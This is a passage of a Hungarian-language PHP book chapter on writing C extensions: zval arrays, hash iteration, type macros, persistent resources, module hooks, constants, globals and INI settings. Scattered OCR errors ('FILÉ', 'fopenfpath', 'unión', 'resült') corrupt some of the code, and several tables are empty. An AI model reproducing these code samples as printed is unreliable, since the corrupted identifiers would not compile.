Ahhoz, hogy mindezt C-ben is elvégezzük, hozzunk létre egy új tömböt a george számára,
és adjuk a zval értékét a return_value-hoz. Ezután tegyük meg ugyanezt a theo-val is:

PHP_FUNCTION(people)
{
zval *tmp;

array_init(return_value);

MAKE_STD_ZVAL(tmp);
array_init(tmp);
add_assoc_string(tmp, "FullName", "George Schlossnagle", 1);
add_assoc_long(tmp, "uid", 1001);
add_assoc_long(tmp, "gid", 1000);
add_assoc_zval(return_value, "george", tmp);

MAKE_STD_ZVAL(tmp);
array_init(tmp);
add_assoc_string(tmp, "FullName", "Theo Schlossnagle", 1);
add_assoc_long(tmp, "uid", 1002);
560 PHP fejlesztés felsőfokon

add_assoc_long(tmp, "gid", 1000);


add_assoc_zval(return_value, "theo", tmp) ;
return;

Figyeljük meg, hogy újra felhasználtuk a tmp mutatót - amikor a MAKE_STD_ZVAL () -t


hívjuk, ez egy friss zval-t foglal le számunkra.

Hasonló függvénycsalád áll rendelkezésünkre az indexelt tömbök kezelésére. Az alábbi


függvények hasonlóan működnek a PHP-beli array_push () -hoz, vagyis újabb értéket
adnak a tömbhöz, hozzárendelve a következő rendelkezésre álló indexet:

add_next_index_long(zval *arg, long value);


add_next_index_null(zval *arg);
add_next_index_bool(zval *arg, int value);
add_next_index_resource(zval *arg, int value);
add_next_index_double(zval *arg, double value);
add_next_index_string(zval *arg, char *str, int duplicate);
add_next_index_stringl(zval *arg, char *str, uint length, int duplicate);
add_next_index_zval(zval *arg, zval *value);

Ha a tömbbe meghatározott indexértéknél szeretnénk beilleszteni, az alábbiak segítségé-


vel megtehetjük:

add_index_long(zval *arg, uint idx, long value);


add_index_null(zval *arg, uint idx);
add_index_bool(zval *arg, uint idx, int value);
add_index_resource(zval *arg, uint idx, int value);
add_index_double(zval *arg, uint idx, double value);
add_index_string(zval *arg, uint idx, char *string, int duplicate);
add_index_stringl(zval *arg, uint idx, char *string,
int string_length, int duplicate);
add_index_zval(zval *arg, uint index, zval *value);

Érdemes megjegyeznünk, hogy a rendszer mind az add_assoc_, mind az add_index_


függvények esetében felülírja a kulcshoz tartozó aktuális adatot.

Tudunk már tömböket létrehozni, értékeiket azonban még nem vagyunk képesek kiolvas-
ni programjainkban. A 20. fejezetben láthattuk, hogy a zval-ban szerepel egy HashTable
nevezetű típus is. A PHP-ben ezt használhatjuk mind a társításos, mind az indexelt tömbök
elérésére, méghozzá a HASH_0F () makró segítségével. A kapott hasítótábla kezelésére pe-
dig a hasítóérték-bejáró függvények adnak módot.
21. fejezet • A PHP bővítése: I. rész 561

Vegyük a következő PHP függvényt, amely az array_f ilter () egy kezdetleges változata:

function array_strncmp($array, $match)


{
foreach ($array as $key => $value) {
if( substr($key, 0, length($match)) == $match ) {
$retval[$key] = $value;
}
}
return $retval;
}

Az ilyesfajta függvények hasznosak lehetnek például olyankor, amikor egy kérelem HTTP
fejléceit szeretnénk kibányászni. A C-ben ez így fest:
PHP_FUNCTION(array_strncmp)
{
zval *z_array, **data;
char *match;
char *key;
int match_len;
ulong index;
HashTable *array;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "as",
&z_array, &match, &match_len) == FAILURE) {
return;
}
array_init(return_value);
array = HASH_OF(z_array);
zend_hash_internal_pointer_reset(array);
while(zend_hash_get_current_key(array, &key, &index, 0)
== HASH_KEY_IS_STRING) {
if(!strncmp(key, match, match_len)) {
zend_hash_get_current_data(array, (void**)&data);
zval_add_ref(data);

add_assoc_zval(return_value, key, *data);


}
zend_hash_move_forward(array);
}
}

Nos, e függvényben jócskán találunk újdonságot. Egy pillanatra feledkezzünk el a zval


kezeléséről - erről hamarosan úgyis szólunk. Ami számunkra most igazán lényeges, az
a tömb bejárása. Először elérjük a tömb belső hasítótábláját a HASH_OF () makróval, majd
ennek belső mutatóját a kezdeti értékére állítjuk a zend__internal_pointer_reset ()
függvénnyel (ez ugyanazt jelenti, mint a PHP-ben a reset ($array) ; utasítás).
562 PHP fejlesztés felsőfokon

Ezután hozzáférünk a tömb kulcsához a zend_hash_get_current_key () függ-


vénnyel. Meg kell adnunk számára egy HashTable mutatót, a kulcsnevet egy char **
alakjában, valamint egy ulong * típusú tömbindexet. Azért kell mindkét mutatót átad-
nunk, mert a PHP egységes típust használ a társításos és az indexelt tömbökhöz, így egy
elem akár indexszel, akár kulccsal is azonosítva lehet. Ha nincs aktuális kulcs (mondjuk
azért, mert eljutottunk a tömb végére), e függvény a HASH_KEY_NON_EXISTENT értékkel
tér vissza, egyébként pedig az eredmény, attól függően, hogy a tömb társításos vagy inde-
xelt HASH_KEY_IS_STRING, illetve HASH_KEY_IS_LONG.

A fentiekhez hasonlóan az aktuális adatot a zend_hash_get_current_data () függ-


vénnyel érhetjük el, ami egy HashTable mutatót és egy zval ** típust fogad az adatok
tárolására. Ha egy tömbelem esetében másolásra van szükség, a rendszer növeli a zval hi-
vatkozásszámlálóját a zval_add_ref () segítségével, és elhelyezi a visszaadott tömbben.
A következő kulcsra a zend_hash_move_f orward () függvény hívásával ugorhatunk.

Típusátalakítások és elérési makrók


Amint a 20. fejezetben láthattuk, a zval típus valójában egyszerű C adattípusokat tartal-
maz, melyek a zvalue_value uniót alkotják:

typedef unión _zvalue_value {


long lval;
double dval;
struct {
char *val;
int len;
} str;
HashTable *ht;
zend_object_value obj;
} zvalue_value;

A PHP elérési makrókat biztosít, melyekkel hozzáférhetünk ezekhez az egyszerű típusok-


hoz. Mivel unióról van szó, ennek egyszerre csak egy megjelenése lehet érvényes. Ez azt
jelenti, hogy ha egy adott zval értéket karakterláncként szeretnénk kiolvasni, meg kell
győződnünk róla, hogy valóban karakterlánc alakjában van jelen.

A zval típusú értékek átalakítására az alábbi függvényeket használhatjuk:

convert_to_string(zval *value);
convert_to_long(zval *value);
convert_to_double(zval *value);
convert_to_null(zval *value);
convert_to_boolean(zval *value);
convert_to_array(zval *value);
convert_to_object(zval *value);
21. fejezet • A PHP bővítése: 1. rész 563

Ha ellenőrizni szeretnénk, hogy szükség van-e átalakításra, a Z_TYPE_P () makróval el-


lenőrizhetjük a zval aktuális típusát - ezt tesszük a következő példában is:

PHP_FUNCTION(check_type)
{
zval *value;
char *result;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &value)
»•• == FAILURE) {
return;
}
switch(Z_TYPE_P(value)) {
case IS_NULL:
resült = "NULL";
break;
case IS_LONG:
result = "LONG";
break;
case IS_DOUBLE:
result = "DOUBLE";
break;
case IS_STRING:
result = "STRING";
break;
case IS_ARRAY:
result = "ARRAY";
break;
case IS_OBJECT:
result = "OBJECT";
break;
case IS_BOOL:
result = "BOOL";
break;
case IS_RESOURCE:
result = "RESOURCE";
break;
case IS_CONSTANT:
result = "CONSTANT";
break;
case IS_CONSTANT_ARRAY:
result = "CONSTANT_ARRAY";
break;
default:
result = "UNKNOWN";
}
RETURN_STRING(result, 1);
}
564 PHP fejlesztés felsőfokon

A különböző típusú adatok eléréséhez a 21.5. táblázatban felsorolt makrókat használhat-


juk - természetesen mindegyikük egy zval paramétert fogad.

21.5 táblázat Típusátalakító makrók zval-ról C típusokra

A fentieken kívül léteznek e makróknak olyan változataik is, amelyek zval *, illetve
zval ** mutatókat fogadnak. A nevük megegyezik a látottakéval, de kiegészülnek egy
_P, illetve _PP utótaggal. így ha a zval **p karakterlánc-tárolójára van szükségünk,
a Z_STRVAL_PP (p) hívással érhetünk célt.

Ha az adatok a zend_parse_parameters () -en keresztül jutnak el a függvényhez, job-


bára biztonsággal felhasználhatjuk őket. Ha azonban mi magunk bányásszuk ki a zval
változók tartalmát, már nem lehetünk ennyire biztosak a dolgunkban. A gondot az okoz-
za, hogy a PHP-ben a zval értékek hivatkozásszámláltak. A Zend Engine alapelve, hogy
az értékadásoknál a másoláshoz ragaszkodik, ami azt jelenti, hogy az alábbi példában va-
lójában csak egyetlen zval szerepel, melynek hivatkozásszámlálója 2-es értéken áll:

$a = 1;
$b = $a;

Ha ezután módosítjuk a $b értékét, az automatikusan saját zval-t kap. Sajnálatos módon


azonban a bővítményben ezt a leválasztást magunknak kell elvégeznünk. Ez a folyamat
gyakorlatilag abból áll, hogy az egynél nagyobb értékű hivatkozásszámlálóval rendelkező
zval tartalmát egy másik zval-ba másoljuk - és ezek után már úgy dolgozhatunk ezzel
az új változóval, hogy nem zavarjuk a többi másolatot. A zval változó leválasztása min-
denképpen bölcs dolog, ha típusátalakítást végzünk.

A leválasztás feladatát a SEPARATE_ZVAL () makró vállalja magára. Mivel a legtöbbször


nem szeretnénk leválasztani olyan zval változókat, melyeket hivatkozás szerint érünk el,
létezik egy SEPARATE_ZVAL_lF_NOT_REF () makró is, ami csak akkor végzi el a levá-
lasztást, ha a zval nem egy másik zval-ra hivatkozik.
21. fejezet • A PHP bővítése: I. rész 565

Végül, előfordulhat, hogy egy új másolatot szeretnénk készíteni egy változóból, mint az
alábbi példában:

$a = $b;

Karakterláncok és számértékű skalárok esetén ez a másolás értelmetlennek tűnhet, hiszen


nem nehéz feladat egy új zval-t készíteni egy char * vagy long típusból. A másolás ak-
kor lehet hasznos, amikor összetettebb adattípusokkal állunk szemben - tömbökkel vagy
objektumokkal -, amikor ez egyébként egy többlépéses művelet volna.

Azt gondolhatnánk, hogy az alábbi függvény változatlanul visszaadja a paraméterét:

PHP_FUNCTION(return_unchanged)
{
zval *arg;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg)
== FAILURE)
{
return;
}
*return_value = *arg;
return;
}

Ez a fajta másolás azonban érvénytelen hivatkozást hoz létre az arg mutató megha-
tározta adatokra. Ahhoz, hogy a másolást helyesen végezzük el, szükségünk van
a zval_copy_ctor () hívására is. Ezt a függvényt az objektumközpontú másoló
konstruktőrök (mint a PHP 5-ben található____ clone ()) mintájára készítették, fela-
data mélymásolatok készítése a zval értékekről, típusuktól függetlenül. A fenti
return_unchanged () függvényt helyesen így valósíthatjuk meg:

PHP_FUNCTION(return_unchanged)
{
zval *arg;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg)
== FAILURE)
{
return;
}
*return_value = *arg;
zval_copy_ctor(return_value);
return;
}
566 PHP fejlesztés felsőfokon

Hasonlóképpen, időről időre szükségünk lehet egy-egy zval megsemmisítésére - ha pél-


dául egy ideiglenes zval változót hozunk létre egy olyan függvényben, ami nem kerül
vissza a PHP-be. A zval változók megsemmisítését ugyanazok a tényezők — vagyis az
összetett és változatos szerkezetek - teszik nehézzé, mint a másolást. Szerencsére erre
a célra is létezik egy függvény, a zval_dtor ().

Erőforrások használata
Erőforrások használatára akkor lehet szükségünk, ha tetszőleges adattípust szeretnénk
rendelni egy PHP változóhoz. Tetszőleges alatt itt nem karakterláncot, számot, vagy akár
tömböt értünk, hanem egy általános C mutatót, ami valóban bármire mutathat. Az erőfor-
rásokat gyakran használják adatbázis-kapcsolatokhoz, fájlmutatókhoz, és más olyan erő-
forrásokhoz, melyeket át szeretnénk adni a függvények között, de nem felelnek meg
a PHP egyetlen saját adattípusának sem.

Az erőforrások létrehozása a PHP-ben meglehetősen bonyolult. Tárolásuk ugyanis nem


zval-okban történik, hanem az objektumokhoz hasonló módon. Az erőforrást azonosító
egész egy zval-ban kap helyet, és ennek segítségével találhatjuk meg a megfelelő adat-
mutatót az erőforráslistában. Az objektumközpontú bővítményekről a 22. fejezetben szó-
lunk bővebben.

Az erőforrások kezeléséhez először egy listát kell készítenünk értékeik tárolásához. A lista
bejegyzésára a zend_register_list_destructors_ex () függvényt használhatjuk,
melynek prototípusa a következő:

int zend_register_list_destructors_ex(rsrc_dtor_func_t ld,


rsrc_dtor_func_t pld,
char *type_name, int module_number);

Az ld egy függvénymutató, ami egy zend_rsrc_list_entry * szerkezetet fogad, és


a nem maradandó erőforrások megsemmisítését kezeli. így például, ha erőforrásunk mu-
tató egy adatbázis-kapcsolatra, az ld az a függvény, amely visszaforgatja a végre nem haj-
tott tranzakciókat, lezárja a kapcsolatot és felszabadítja a lefoglalt memóriát. A nem mara-
dandó erőforrások minden kérelem végén megsemmisülnek.

A zend_rsrc_list_entry adattípus szerkezete így fest:

typedef struct _zend_rsrc_list_entry {


void *ptr;
int type;
int refcount;
} zend_rsrc_list_entry;
21. fejezet • A PHP bővítése: I. rész 567

A pld hasonló az ld-hez, annyi különbséggel, hogy az előbbi a maradandó erőforrások-


hoz kapcsolódik. Ezek nem semmisülnek meg automatikusan egészen a kiszolgáló leálltá-
ig. Ha a gyakorlatban erőforráslistákat jegyzünk be, érdemes külön létrehozni egyet a ma-
radandó és egyet a nem maradandó erőforrások számára. Technikailag ez nem feltétlenül
szükséges, de a szokás ezt diktálja, és rendezettebbé teszi bővítményünket.

A type_name azonosítja a listán szereplő erőforrás típusát. Ez a név csak a hibaüzenetek


készítésében használatos, semmilyen gyakorlati szerepe nincs az erőforrások kezelésében.

A modular_number egy belső azonosító az aktuális bővítmény meghatározásához.


A zend_module_entry egyik eleme a zend_module_entry .module_number,
melyet a PHP a bővítmény betöltésekor állít be. A module_number a zend_regis-
ter_list_destructors_ex () függvénynek átadott negyedik paraméter.

Amennyiben POSIX fájlleírót szeretnénk erőforrásként átadni (hasonlóképpen az f open


PHP 4-beli viselkedéséhez), létre kell hoznunk számára egy megsemmisítő függvényt is,
ami egyszerűen bezárja a fájlleírót. Lássuk, milyen függvényről is van szó:

static void posix_fh_dtor(zend_rsrc_list_entry *rsrc TSRMLS_DC)


{
if (rsrc->ptr) {
fclose(rsrc->ptr);
rsrc->ptr = NULL;
}
}

Maga a bejegyzés a PHP_MINIT_FUNCTION () kezelőben történik meg. Először létreho-


zunk egy-egy statikus int változót minden létrehozandó listához, ami azonosítja, és ame-
lyen keresztül a későbbiekben hivatkozhatunk rá. Az alábbi kódban két listát hozunk lét-
re - egy maradandót és egy nem maradandót:

static int non_persist;


static int persist;

PHP_MINIT_FUNCTION(example)
{
non_persist = zend_register_list_destructors_ex(posix_fh_dtor, NULL,
"non-persistent posix fh",
module_number);
persist = zend_register_list_destructors_ex(NULL, posix_fh_dtor,
"persistent posix fh",
module_number);
return SUCCESS;
}
568 PHP fejlesztés felsőfokon

Az erőforrás bejegyzéséhez az alábbi makrót kell használnunk:

ZEND_REGISTER_RESOURCE(zval *rsrc_result, void *ptr, int rsrc_list)

Ez egy ptr nevű adatmutatót illeszt az rsrc_list listába, visszaadja az új erőforrás azo-
nosítóját, és hozzárendeli ehhez az rsrc_result zval erőforrást. Az rsrc_result ér-
tékét NULL-ra is állíthatjuk, amennyiben az azonosítót nem egy meglevő zval-hoz szeret-
nénk rendelni.

Az alábbi függvény az f open () egy meglehetősen durva modelljét adja, FILÉ mutatóját
maradandó erőforrásként jegyezve be:

PHP_FUNCTION(pfopen)
{
char *path, *mode;
int path_length, mode_length;
FILÉ *fh;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&path, &path_length,
&mode, &mode_length) == FAILURE) {
return;
}
fh = fopenfpath, mode);
if(fh) {
ZEND_REGISTER_RESOURCE(return_value, fh, persist);
return;
}
else {
RETURN_FALSE;
}
}

Természetesen egy olyan függvény, ami vakon gyártja a maradandó erőforrásokat, nem
igazán érdekfeszítő jelenség. Az igazi az volna, ha utánanézne annak, hogy létezik-e az
adott erőforrás, és amennyiben igen, azt venné használatba ahelyett, hogy újat hozna létre.

Az erőforrások keresésének kétféle módja ismeretes. Először is, megkereshetjük az erőfor-


rást általános kezdeti paraméterei alapján. A maradandó erőforrások esetében itt jelentkez-
nek a gondok. Ha egy új maradandó erőforrást szeretnénk létrehozni, meg kell nézni, léte-
zik-e más, hasonlóan meghatározott erőforrás. A nehézség itt persze az, hogy ki kell talál-
nunk valamilyen, a kezdeti paramétereken alapuló kulcs alapú hasítórendszert, mellyel
megtalálhatjuk az erőforrásokat. Ha ugyanakkor az erőforrás értéke egy zval-hoz rendelt,
eleve birtokunkban van az azonosítója, így megkeresése (remélhetőleg) egyszerűbb.
21. fejezet • A PHP bővítése: I. rész 569

Ahhoz, hogy az erőforrásokat azonosítójuk alapján megkeressük, szükségünk lesz egy


hasítótáblára és egy kulcsra is. A PHP megadja a hasítótáblát: a EG (persistent_list)
globális HashTable segítségével a kulcs szerint kereshetjük erőforrásainkat. A kulcs te-
kintetében azonban magunkra maradunk. Általában az erőforrásokat egyértelműen meg-
határozzák kezdeti paramétereik, így jellemző megközelítés, hogy ezeket egyesítik, eset-
leg névterekkel kiegészítve.

Lássuk most a pf open () egy megvalósítását, amely egy kapcsolat létrehozása előtt utá-
nanéz, hogy nincs-e meg az EG (persistent_list)-ben:

PHP_FUNCTION(pfopen)
{
char *path, *mode;
int path_length, mode_length;
char *hashed_details;
int hashed_details_length;
FILÉ *fh;
list_entry *le;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&path, &path_length,
&mode, &mode_length) == FAILURE) {
return;
}
hashed_details_length = strlen("example_") + path_length
*» + mode_length;
hashed_details = emalloc(hashed_details_length + 1) ;
snprintf(hashed_details, hashed_details_length + 1,
"example_%s%s", path, mode);
if(zend_hash_find(&EG(persistent_list), hashed_details,
hashed_details_length + 1, (void **) &le)
== SUCCESS) {
if(Z_TYPE_P(le) != persist) {
/* nem a mi erőforrásunk */
zend_error(E_WARNING, "Not a valid persistent filé handlé");
efree(hashed_details);
RETURN_FALSE;
}
fh = le->ptr;
}
else {
fh = fopen(path, mode);
if(fh) {
list_entry new_le;
Z_TYPE(new_le) = persist;
new_le.ptr = fh;
570 PHP fejlesztés felsőfokon

zend_hash_update(&EG(persistent_list), hashed_details,
hashed_details_length+l, (void *) &new_le,
sizeof(list_entry), NULL);
}
}
efree(hashed_details) ;
if(fh) {
ZEND_REGISTER_RESOURCE(return_value, fh, persist);
return;
}
RETURN_FALSE;
}

Új pf open () függvényünkkel kapcsolatban érdemes észrevennünk a következőket:

• A new_le változó list_entry típusú, ami megegyezik az EG (persistent_list)


zend_rsrc_list_entry típusával. Ez a választás egy kényelmes típust ad erre
a célra.
• Ellenőrizzük, hogy a new_le típusa erőforráslista-azonosító. Ez megvéd a nevek
ütközéséből származó esetleges szegmentációs hibáktól, melyek előfordulhatnak,
ha más bővítmény is ugyanazt az elnevezési rendszert választja (vagy ha úgy dön-
tünk, hogy nem alkalmazunk névtereket a hashed_details karakterláncban).

Ha nem egyidejű elérhetőségű (ahol két előkészítő hívás visszaadhatja ugyanazt az erő-
forrást) vagy maradandó erőforrásokat használunk, nem kell maradandó listában adatokat
tárolnunk. Az adatok elérése példányosítási paramétereik alapján felesleges nehézségek-
kel jár, és csak akkor van rá szükség, ha (valószínűleg) új erőforrást hozunk létre.

A legtöbb függvényben egy zval erőforrásleírót kapunk, majd ennek alapján kell megta-
lálnunk magát az erőforrást. Szerencsére ez igen egyszerű dolog - ha egyetlen listával
dolgozunk, használhatjuk az alábbi makrót:

ZEND_FETCH_RESOURCE(void *rsrc_struct, rsrc_struct_type/ zval **zval_id,


int default__id, char *name, int rsrc_list);

A ZEND_FETCH_RESOURCE () paramétereinek jelentése a következő:

• rsrc_struct - A mutató, amelyben az erőforrást tárolni szeretnénk.


• rsrc_8truct - Az erőforrás szerkezete (például FILÉ *).
• zval_ld - Egy erőforrás típusú zval, amely az erőforrás-azonosítót tartalmazza.
• defauflt_id- Egész érték, ami meghatározza, melyik erőforrást használjuk alap-
értelmezés szerint. Leggyakrabban a legutóbb elért erőforrás azonosítóját helyezik
el itt, melyet a bővítmény egy globális változójában tároltak. Ha ezután egy függ-
21. fejezet • A PHP bővítése: I. rész 571

vény nem kapja meg a kívánt erőforrást, a legutóbbit használhatja. -1 beállítása


esetén nincs ilyen alapértelmezés.
• name - Karakterlánc, ami azonosítja a keresett erőforrást. Gyakorlati szerepet nem
játszik, csak figyelmeztető üzenetekben használják.
• rarc_liBt - A lista, amelyben az erőforrást keressük.

Ha a keresés nem jár sikerrel, figyelmeztető üzenetet kapunk, és a függvény NULL érték-
kel tér vissza.

Az alábbi pf gets () függvény egy sort olvas be a pf open () által létrehozott fájlerő-
forrásból.
PHP_FUNCTION(pfgets)
{
char *out;
int length = 1024;
zval *rsrc;
FILÉ *fh;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &rsrc,
&length)
== FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(fh, FILÉ *, rsrc, -1, "Persistent Filé Handlé",
persist) ;
out = (char *) emalloc(length);
fgets(out, length, fh);
RETURN_STRING(out, 0);
}

Hibák visszaadása

A hibák visszaadása a bővítmények kódjában csaknem ugyanúgy folyik, mint a PHP-ben.


Itt nem a trigger_error () PHP függvényt használjuk, hanem a C-beli zend_error () -t.
E függvény az alábbi alakban használható:

zend_error(int hibatípus, char *fmt, . ..);

Itt a hibatípus a 3- fejezetben felsorolt hibák bármelyike lehet. Egyébiránt ez az API tel-
jesen hasonló a printf () függvénycsalád tagjaihoz. Az alábbi függvény egy figyelmezte-
tő üzenetet ad:

zend_error(E_WARNING, "Ez egy figyelmeztetés.");

Ne feledjük, ha az E_ERROR-t alkalmazzuk, a hiba végzetes, és a program futtatása meg-


áll. (A 23. fejezetben látjuk majd, hogyan kerülhető meg e viselkedés.)
572 PHP fejlesztés felsőfokon

Modulhorgok használata
A PHP amellett, hogy lehetővé teszi függvénymeghatározások megadását és kivitelét (ex-
portálását), képessé teszi a bővítményeket arra is, hogy a PHP bizonyos futásidejű esemé-
nyeinek megfelelően kódrészleteket futtassanak. Ilyen események az alábbiak:

• Modul indítása
• Modul kikapcsolása
• Kérelem kezelésének indítása
• Kérelem kezelésének lezárása
• phpinf o bejegyzése

A modulok készítésénél feltétlenül szükséges összetevők egyike a zend_module_entry,


amely így fest:

zend_module_entry example_module_entry = {
STANDARD_MODULE_HEADER,
"example",
example_functions,
PHP_MINIT(example),
PHP_MSHUTDOWN(example),
PHP_RINIT(example),
PHP_RSHUTDOWN(example),
PHP_MINFO(example),
VERSION,
STANDARD_MODULE_PROPERTIES
};

A szerkezet harmadik tagja, az example_functions egy függvényekből álló tömböt ha-


tároz meg, ami a bővítmény által bejegyzett függvényeket tartalmazza. A szerkezet továb-
bi részében a visszahívható függvényeket találhatjuk, melyeket a különböző modulhor-
gok futtatnak.

Modulok indítása és leállítása


A bővítmény moduljának indító, illetve kikapcsoló horgait a rendszer a modul betöltésekor
és eltávolításakor hívja meg. A legtöbb bővítménynél (ahol a modult statikusan belefordít-
ják a PHP-be, vagy egy INI beállítás nyomán töltik be), a modul előkészítésére csak egy-
szer, a kiszolgáló indításakor kerül sor. Hasonlóan, a modul kikapcsolása a kiszolgáló ki-
kapcsolásakor következik be. Az Apache 1.3-ban (vagy az Apache 2 prefork MPM-ben) ezt
a horgot a rendszer még az első gyermekfolyamatok leágazása előtt hívja meg - így hát
nagyszerű alkalmunk adódik a globális, illetve osztott erőforrások létrehozására, illetve elő-
készítésére, a nem megosztható erőforrások előkészítését azonban hagyjuk máskorra.
21. fejezet • A PHP bővítése: I. rész 573

A modul előkészítési horgát az alábbi függvénnyel jegyezhetjük be:

PHP_MINIT_FUNCTION(example)
{
return SUCCESS;
}

Általánosságban, a modul előkészítése nagyszerű alkalmat ad az állandók meghatározásá-


ra, a globális adatszerkezetek előkészítésére, valamint az INI beállítások bejegyzésére és
feldolgozására.

Állandók meghatározása
Mivel az állandók nem változnak a modul használata során, még a modul előkészítésénél
kell létrehoznunk őket. A felhasználói PHP kóddal szemben, ahol a def ine () nem sok-
ban különbözik a teljesítmény szempontjából a globális változók alkalmazásától, a bővít-
mények esetében az állandók meghatározása egyértelműen jobb választás. Ennek oka az,
hogy a bővítményi állandókat (például függvényeket vagy osztályokat) nem kell a kérel-
mek között újra példányosítanunk (jóllehet, ha éppen erre vágyunk, megsemmisíthetjük
őket a kérelmek végén). Ez azt jelenti, hogy akár nagy számú állandó meghatározása sem
jár különösebb költséggel.

Az állandók meghatározásához az alábbi makrókat használhatjuk:

REGISTER_LONG_CONSTANT(név, érték, jelzők)


REGISTER_DOUBLE_CONSTANT(neV, érték, jelzők)
REGISTER_STRING_CONSTANT(név, karakterlánc, jelzők)
REGISTER_STRING_CONSTANT{név, karakterlánc, karakterlánchossz,
jelzők)

A lehetséges jelzők a következők:

• CONST_CS - Az állandó érzékeny a kis- és nagybetűk különbségére.


• CONST_PERSISTENT - Az állandónak meg kell maradnia a kérelmek között.

Természetesen ha állandóinkat a modul előkészítése során határozzuk meg, szükség van


a CONST_PERSISTENT jelző használatára. Ez egyébként általában is ajánlott, hacsak nem
szeretnénk valamilyen okból feltételes meghatározásokat alkalmazni. A felhasználói PHP
kódban szereplő állandók érzékenyek a kis- és nagybetűk különbségére, így ha a PHP-
hez hasonló viselkedéshez ragaszkodunk, érdemes a CONST_CS jelzőt is használnunk.
574 PHP fejlesztés felsőfokon

Az alábbi példa bemutató bővítményünk MINIT függvényét mutatja, amely két állandót
határoz meg:

PHP_MINIT_FUNCTION(example)
{
REGISTER_LONG_CONSTANT("EXAMPLE_VERSION",
VERSION,
CONST_CS I CONST_PERSISTENT);
REGISTER_STRING_CONSTANT("BUILD_DATE",
"2004/01/03",
CONST_CS | CONST_PERSISTENT);
return SUCCESS;
}

Globális változók használata

A legtöbb bővítmény tartalmaz néhány globális változót, amelyek leggyakrabban alapér-


telmezett kapcsolati adatokat, globális erőforrásokat, vagy a viselkedést meghatározó ada-
tokat tartalmaznak. A globális változókat könnyen létrehozhatjuk a Zend makrók segítsé-
ge nélkül, de ezek használatával automatikusan szálbiztossá tehetjük őket.

Kezdetnek hozzunk létre egy globális változókat tároló szerkezetet a ZEND_BEGIN_M0-


DULE_GLOBALS és a ZEND_END_MODULE_GLOBALS makrókkal:

ZEND_BEGIN_MODULE_GLOBALS(example)
char *default_path;
int default_fd;
zend_bool debug;
ZEND_END_MODULE_GLOBALS (example)

E makrók vagy egy egyszerű zend_example_globals szerkezetet, vagy több szálbiztos


struktúrát hoznak létre a fenti elemekkel - attól függően, hogy a PHP-t szálbiztosan fordí-
tottuk-e. Mivel az eredményként kapott szerkezetek elérése különböző, feltételes elérőt
kell alkalmaznunk, amely a szálbiztosság megléte szerint választja meg módszerét:

#ifdef ZTS
#define ExampleG(v) TSRMG(example_globals_id, zend_example_globals *, v)
#else
#define ExampleG(v) (example_globals.v)
#endif

A globális változókat mindig az alábbi alakban kell elérnünk:

char *path = ExampleG(default_path);


21. fejezet • A PHP bővítése: I. rész 575

Létre kell hoznunk hozzájuk egy előkészítő és egy megsemmisítő függvényt is:

static void example_init_globals(zend_example_globals


*example_globals)
{
example_globals->default_path = NULL;
}

static void example_destroy_globals(zend_example_globals


*example_globals)
{
}

Ezután az MINIT működése során a bejegyzést a ZEND_INIT_M0DULE_GL0BALS () mak-


róval végezhetjük el, az alábbiak szerint:

PHP_MINIT_FUNCTION(example)
{
ZEND_INIT_MODULE_GLOBALS(example, example_init_globals,
example_destroy_globals);
/* ... */
}

E megsemmisítő függvényt általában összetett adattípusok (például hasítótáblák) jelenlét-


ében használják, melyek kiürítésére szükség van a kikapcsoláskor. Amennyiben nem
jegyzünk be megsemmisítő függvényt, adjunk át NULL értéket.

INI bejegyzések feldolgozása


Az egyik olyan lehetőség, melyet nem vehetünk igénybe a felhasználói kódban, de ki-
használhatunk bővítményeinkben, a php. ini fájlban található beállítások bejegyzése és
módosítása. Ezek a beállítások több okból is fontosak lehetnek számunkra:

• Globális beállításokat adnak, amelyek függetlenek a programoktól.


• Hozzáférést biztosítanak olyan beállításokhoz, amelyekkel eltilthatjuk a fejlesztőket
attól, hogy egyes INI beállításokat módosítsanak programjaikban.
• Lehetővé teszik olyan modulhorgok beállítását is, melyeket a rendszer a programok
végrehajtása előtt hív meg (ilyen például az MINIT vagy az RINIT)

A PHP egy csokornyi makróval segíti az INI utasítások bejegyzését. Először is, a C fájl tör-
zsében el kell helyeznünk egy makróblokkot:

PHP_INI_BEGIN()
/* ide kerülnek az ini beállítások */
PHP_INI_END()
576 PHP fejlesztés felsőfokon

Ezzel kapunk egy zend_ini_entry elemekből álló tömböt, a blokk belsejében pedig az
alábbi makróval meghatározhatjuk saját INI beállításainkat:
STD_PHP_INI_ENTRY(char *ini_directive, char *default_value,
int location, int type, struct_member,
struct_ptr, struct_property)

Az "ini_directive" az általunk létrehozott INI utasítás teljes neve, melyet az esetleges üt-
közések elkerülése érdekében érdemes névterekbe helyezni. Ha a bemutató bővítményünk-
ben egy enabled beállítást szeretnénk létrehozni, adjuk neki az example. enabled nevet.

A default_value az INI beállítás alapértelmezett értékét határozza meg. Mivel ezek


a beállítások karakterláncok alakjában szerepelnek a php. ini fájlban, az alapértelmezett
értéket is így kell átadnunk, még akkor is, ha valójában egy számról van szó. Ezt az érté-
ket a rendszer lemásolja, úgyhogy a statikus tárfoglalás tökéletesen megfelel.

A location azokat a helyeket határozza meg, ahol a felhasználók módosíthatják a beállí-


tást. A lehetséges értékek állandóként meghatározottak, és természetesen bitenkénti OR
műveletekkel összekapcsolhatók. Az alábbi állandók használhatók:

A type egy függvény nevét takarja, amely meghatározza, miként kezelje a rendszer az INI
beállítások módosításait (a php. ini, a .htaccess, a httpd. vagy az ini_set () segítsé-
gével). Az alábbiakban a makróban használatos szabványos függvényeket soroljuk fel:
21. fejezet • A PHP bővítése: I. rész 577

E függvények használata jobbára egyértelmű, az egyetlen megemlítendő dolog, hogy az


OnUpdateStringUnempty hibát jelez, ha üres karakterláncot kap - egyébként ugyan-
úgy működik, mint az OnUpdateString.

Az INI értékek szinte mindig bővítmények globális változóiba kerülnek. Ennek magyará-
zata egyszerű: az egyedi programok esetében az INI értékek beállításai globálisak. (Ha
meg is változtatjuk őket az ini_set () függvénnyel, módosításaink globális érvényűek.)
